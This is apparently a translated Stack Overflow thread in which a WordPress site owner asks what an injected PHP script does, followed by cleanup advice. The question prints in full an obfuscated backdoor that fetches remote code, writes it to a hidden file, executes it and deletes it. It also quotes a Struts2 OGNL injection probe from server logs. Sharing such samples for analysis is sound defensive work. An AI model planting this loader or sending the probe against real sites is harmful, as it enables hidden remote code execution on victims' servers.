【问题标题】:Strange attack script inserted in WordPress code插入 WordPress 代码的奇怪攻击脚本
【发布时间】:2019-08-24 20:26:27
【问题描述】:

从昨天开始无法访问 WordPress 网站,只显示一条以此开头的消息

用于设置 ABSPATH 常量和加载 wp-config.php 文件的引导文件。然后 wp-config.php 文件将加载 wp-settings.php 文件,然后设置 WordPress 环境。

我迅速停用了该站点并查看了代码,发现在 wp-load.php、wp-setting.php 和 wp-inlcude/functions.php 的几个部分中插入了一些可疑的 PHP 脚本。谁能告诉我它想做什么?

您对我的下一步有何建议?由于备份副本,我已经恢复了网页,似乎攻击没有涉及数据库,但我担心他们从中获得了什么样的信息。

这是脚本:

<?php
@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLUvdAsS7swbOuvdPFbQdr9dm2WSGbE=";
if (ini_get('allow_url_fopen')) {
    function get_data_ya($url) {
        $data = file_get_contents($url);
        return $data;
    }
}
else {
    function get_data_ya($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
function wp_cd($fd, $fa="")
{
   $fe = "wp_frmfunct";
   $len = strlen($fd);
   $ff = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($ff)<$len )
   {
      $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
   }
   return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
    if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
    $subdirs = glob("$dira/*", GLOB_ONLYDIR);
    foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
    }
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}
?>

我在我的 apache 日志中发现了这个:

文件名太长:访问 /%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony. xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil. getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#res=@org.apache.struts2.ServletActionContext@getResponse()).(#res.addHeader('eresult', 'struts2_security_check'))}/ 失败

【问题讨论】:

    标签: php wordpress apache security php-5.3


    【解决方案1】:

    最好的办法是清除所有内容并从头开始。如果这不可能:

    1. 删除所有可疑的 PHP 文件,尤其是在 wp-content 目录中的文件。
    2. 检查所有 WordPress 的 PHP 文件的最后修改日期。寻找其他可疑的东西。 (这些可以伪造,但攻击者很少打扰。)
    3. 卸载所有插件。我检查过的几乎每个 WordPress 插件都充满了重大漏洞,甚至不值得报告它们。 Automattic 的任何东西通常都是安全的,但除此之外,所有的赌注都没有了。除了 JetPack 之外,任何与电子邮件(订阅、邮件列表等)相关的东西都充满了漏洞——我检查了很多,但从未找到安全的。
    4. 如果您需要更彻底或您的网站包含特别敏感的数据,请在 the Security Stack Exchange 上提出此问题。
    5. 如果您的网站收集个人数据,包括电子邮件地址,请通知所有人您的网站已被入侵。在某些司法管辖区和行业,这可能是法律要求的;如果您担心自己的法律义务,应咨询律师。

    【讨论】:

    • 谢谢,我会在那个页面问。是的,我完全删除了受感染的站点并替换为备份副本,因此 wordpress 中的所有受感染代码现在必须消失。这是一个博客,所以除了更新博客的用户之外没有用户管理。会检查它是否会收集一些通知电子邮件。
    • @AlisonLopez 您应该删除所有第三方插件,并运行 WordPress 的自动更新功能。如果您将其保持在相同的状态,它很可能会再次受到损害。
    • 是的!这就是为什么我要问......知道从哪里开始改变,这样就不会再发生了!谢谢!
    • @AlisonLopez 是的,第 3 步确实是这里的关键:WordPress 的插件生态系统已损坏。如果你使用第三方插件,你就会被黑——没有办法。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2018-02-12
    • 1970-01-01
    • 2019-03-08
    • 2020-02-24
    • 2020-06-12
    • 2015-06-04
    • 2017-08-29
    相关资源
    最近更新 更多